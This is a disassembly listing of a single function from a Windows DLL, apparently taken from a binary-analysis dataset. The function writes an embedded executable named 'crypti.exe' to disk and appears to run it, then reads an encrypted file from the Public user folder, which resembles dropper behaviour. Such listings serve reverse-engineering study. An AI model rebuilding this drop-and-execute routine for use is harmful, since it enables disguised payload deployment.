Function at 0x180067b50
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4f0
mov rax, qword [0x1801d0100]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov rsi, rcx
mov qword [rsp + 0x78], rcx
xor ebx, ebx
lea rax, str.crypti.exe
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [0x1801d4a28]
cmp qword [0x1801d4a40], 7
cmova rax, qword [0x1801d4a28]
mov qword [rsp + 0x40], rax
mov rax, qword [0x1801d4a38]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x60], xmm0
movabs r12, 0xc000000000000000
mov qword [rsp + 0x58], r12
mov r15d, 1
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x120], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x160]
call fcn.1800093a0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x2d0]
call fcn.1800aba60
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x2d0]
call fcn.1800249e0
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], r13
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
cmp qword [rsp + 0x358], rbx
jne 0x180067f0a
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
mov r8d, Ordinal_26
lea rdx, str.____File_can_not_writed
lea rcx, [rsp + 0x58]
call fcn.180003ff0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
lea rcx, [rsp + 0x120]
call fcn.180061650
nop
mov r8, qword [rsp + 0x128]
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.18004eaf0
nop
lea rdx, [rsp + 0x100]
cmp qword [rsp + 0x118], 0xf
cmova rdx, qword [rsp + 0x100]
mov r8, qword [rsp + 0x110]
add r8, rdx
mov rcx, rsi
call fcn.18006d9c0
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x180067d95
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180067d90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006932d
call fcn.18007bb20
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], reloc.LIBPQ.dll_Ordinal_15
mov byte [rsp + 0x100], 0
mov rcx, qword [rsp + 0x120]
test rcx, rcx
je 0x180067df4
mov rdx, qword [rsp + 0x130]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180067dee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069333
call fcn.18007bb20
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x180067e32
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180067e2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069339
call fcn.18007bb20
nop
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r13
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.180024080
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.180079724
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180067f02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180067efd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006933f
call fcn.18007bb20
mov rax, rsi
jmp 0x180069300
mov r8d, 0x6a800
lea rdx, [0x18014a890]
lea rcx, [rsp + 0x2d0]
call fcn.180024220
lea rcx, [rsp + 0x2d8]
call fcn.1800248e0
mov edi, 6
test rax, rax
jne 0x180067f7c
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov eax, edi
mov r14d, 2
cmp qword [rsp + rcx + 0x318], 0
cmovne eax, r14d
or eax, dword [rsp + rcx + 0x2e0]
and eax, 0x17
mov dword [rsp + rcx + 0x2e0], eax
mov edx, dword [rsp + rcx + 0x2e4]
and edx, eax
jne 0x180069345
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r13
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.180024080
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.180079724
nop
lea rax, [0x1800e35a8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rax, qword [rsp + 0x160]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x120], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x100]
call fcn.1800093a0
nop
mov edx, 0x2710
lea rcx, [rsp + 0x100]
call fcn.180051820
mov byte [rsp + 0x50], al
mov byte [rsp + 0x51], al
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x18006810a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800680f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800693a0
call fcn.18007bb20
lea rcx, [rsp + 0x30]
call fcn.180025f90
mov rax, qword [rsp + 0x30]
jmp 0x18006811e
lea rcx, [rsp + 0x30]
call fcn.180025f90
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs rdx, 0x7fffffff4d2fa1ff
mov r14d, 0xff
cmp rax, rdx
je 0x180068157
mov ecx, r14d
cmovge ecx, r15d
test cl, cl
jns 0x180068157
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rsp + 0x30], rcx
movabs r12, 0x7fffffffffffffff
jmp 0x180068166
movabs r12, 0x7fffffffffffffff
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x30]
call fcn.18002dca0
nop
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x100]
call fcn.180007ce0
nop
mov r8d, 3
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x40]
call fcn.180020930
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x40], ecx
lea rax, [0x1801d1130]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x120], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180068253
cmp eax, 1
setne r13b
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180068265
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068260
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800693a6
jmp 0x180068260
xor r13b, r13b
test ecx, ecx
jne 0x1800693ac
jmp 0x18006820e
call fcn.18007bb20
test r13b, r13b
je 0x180068330
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x100]
call fcn.180007ce0
nop
lea rcx, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rcx, qword [rsp + 0x100]
call fcn.18007a8a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800693c9
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180068330
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006832a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800693e2
call fcn.18007bb20
nop
movzx r13d, byte [rsp + 0x50]
jmp 0x180068360
lea rcx, [rsp + 0x30]
call fcn.180025f90
movabs rcx, 0x7fffffffc46535ff
mov rax, qword [rsp + 0x30]
cmp rax, rcx
je 0x180068394
cmovge r14d, r15d
test r14b, r14b
jns 0x180068394
add rax, 0x3b9aca00
mov qword [rsp + 0x30], rax
jmp 0x180068399
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x30]
call fcn.18002dca0
test r13b, r13b
jne 0x1800684e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Process_can_not_created:_
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], Ordinal_37
mov dword [rsp + 0x48], eax
movabs rax, 0x2000000000000000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x120], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.180018320
nop
lea r8, [rsp + 0x100]
mov rdx, rsi
call fcn.180069540
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x18006847a
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068475
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800693e8
call fcn.18007bb20
movdqa xmm0, xmmword [0x1801ba490]
movdqu xmmword [rsp + 0x110], xmm0
mov byte [rsp + 0x100], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x1800684db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800684d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800693ee
call fcn.18007bb20
mov rax, rsi
jmp 0x180069300
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x2d0]
call fcn.1800aba60
mov edx, 0x104
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
xorps xmm1, xmm1
mov r8d, 3
lea rcx, [rsp + 0x100]
movups xmmword [rsp + 0x100], xmm0
movdqu xmmword [rsp + 0x110], xmm1
cmp eax, r8d
jb 0x180068544
lea rdx, [rsp + 0x2d0]
call fcn.180007ce0
jmp 0x180068551
lea rdx, [0x1801b7ff8]
call fcn.180007ce0
nop
lea rax, str.UsersPublic_tmp.enc
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], reloc.LIBPQ.dll_Ordinal_22
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x128], rax
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rsp + 0x60], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x120], r15
lea rax, [rsp + 0x58]
mov qword [rsp + 0x128], rax
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x120], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x140]
call fcn.1800093a0
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180068648
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068643
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800693f4
call fcn.18007bb20
movdqa xmm0, xmmword [0x1801ba480]
movdqu xmmword [rsp + 0x110], xmm0
mov word [rsp + 0x100], bx
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x58]
call fcn.180007ce0
nop
mov r8d, 3
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.180020930
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x120], ecx
lea rax, [0x1801d1130]
mov qword [rsp + 0x128], rax
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x120], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180068737
cmp eax, 1
sete r14b
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x180068749
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068744
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800693fa
jmp 0x180068744
mov r14b, 1
test ecx, ecx
jne 0x180069400
jmp 0x1800686f8
call fcn.18007bb20
test r14b, r14b
je 0x180068995
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
mov r8d, Ordinal_33
lea rdx, str.____Encrypted_file_not_exist
lea rcx, [rsp + 0x58]
call fcn.180003ff0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
lea rcx, [rsp + 0x120]
call fcn.180061650
nop
mov r8, qword [rsp + 0x128]
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.18004eaf0
nop
lea rdx, [rsp + 0x100]
cmp qword [rsp + 0x118], 0xf
cmova rdx, qword [rsp + 0x100]
mov r8, qword [rsp + 0x110]
add r8, rdx
mov rcx, rsi
call fcn.18006d9c0
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x180068844
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006883f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006941a
call fcn.18007bb20
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], reloc.LIBPQ.dll_Ordinal_15
mov byte [rsp + 0x100], 0
mov rcx, qword [rsp + 0x120]
test rcx, rcx
je 0x1800688a3
mov rdx, qword [rsp + 0x130]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006889d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069420
call fcn.18007bb20
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1800688e1
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800688db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069426
call fcn.18007bb20
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180068929
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068924
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069526
call fcn.18007bb20
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x18006898d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068988
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006952c
call fcn.18007bb20
mov rax, rsi
jmp 0x180069300
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1c0]
call fcn.1800aba60
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x1c0]
call fcn.18004e330
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], r12
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
cmp qword [rsp + 0x250], 0
jne 0x180068cdf
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
mov r8d, Ordinal_34
lea rdx, str.____Encrypted_file_can_not_open
lea rcx, [rsp + 0x58]
call fcn.180003ff0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
lea rcx, [rsp + 0x120]
call fcn.180061650
nop
mov r8, qword [rsp + 0x128]
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x100]
call fcn.18004eaf0
nop
lea rdx, [rsp + 0x100]
cmp qword [rsp + 0x118], 0xf
cmova rdx, qword [rsp + 0x100]
mov r8, qword [rsp + 0x110]
add r8, rdx
mov rcx, rsi
call fcn.18006d9c0
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x180068b06
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068b01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006942c
call fcn.18007bb20
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], reloc.LIBPQ.dll_Ordinal_15
mov byte [rsp + 0x100], 0
mov rcx, qword [rsp + 0x120]
test rcx, rcx
je 0x180068b65
mov rdx, qword [rsp + 0x130]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068b5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069432
call fcn.18007bb20
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x180068ba3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068b9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069520
call fcn.18007bb20
nop
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r12
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180024080
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180079724
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180068c73
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068c6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069526
call fcn.18007bb20
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180068cd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068cd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006952c
call fcn.18007bb20
mov rax, rsi
jmp 0x180069300
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x1c0]
call fcn.18004d390
mov r14, qword [rax + 8]
add r14, qword [rax]
test r14, r14
jg 0x180068f68
lea rcx, [rsp + 0x1d0]
call fcn.1800248e0
test rax, rax
jne 0x180068d50
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne edi, eax
or edi, dword [rsp + rcx + 0x1d0]
and edi, 0x17
mov dword [rsp + rcx + 0x1d0], edi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, edi
jne 0x180069438
lea rax, str.____Encrypted_file_size_is_
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_37
mov qword [rsp + 0x128], r14
movabs rax, 0x3000000000000000
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x120]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x100]
call fcn.180018320
nop
lea r8, [rsp + 0x100]
mov rdx, rsi
call fcn.180069540
nop
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x180068e13
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068e0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069490
call fcn.18007bb20
movdqa xmm0, xmmword [0x1801ba490]
movdqu xmmword [rsp + 0x110], xmm0
mov byte [rsp + 0x100], 0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r12
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180024080
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180079724
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180068efc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068ef7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069496
call fcn.18007bb20
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180068f60
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180068f5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006949c
call fcn.18007bb20
mov rax, rsi
jmp 0x180069300
lea rcx, [rsp + 0x1c0]
call fcn.18004d470
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x180], xmm1
mov qword [rsp + 0x190], rbx
mov rdx, r14
lea rcx, [rsp + 0x180]
call fcn.18004f530
mov r8, r14
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x1c0]
call fcn.18004d660
lea rcx, [rsp + 0x1d0]
call fcn.1800248e0
test rax, rax
jne 0x180069000
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne edi, eax
or edi, dword [rsp + rcx + 0x1d0]
and edi, 0x17
mov dword [rsp + rcx + 0x1d0], edi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, edi
jne 0x1800694a2
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x100]
call fcn.180007ce0
nop
lea rcx, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rcx, qword [rsp + 0x100]
call fcn.18007a8a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800694fb
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x1800690c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800690bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180069514
call fcn.18007bb20
mov r8, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x198]
call fcn.18004eaf0
nop
lea rdx, [rsp + 0x198]
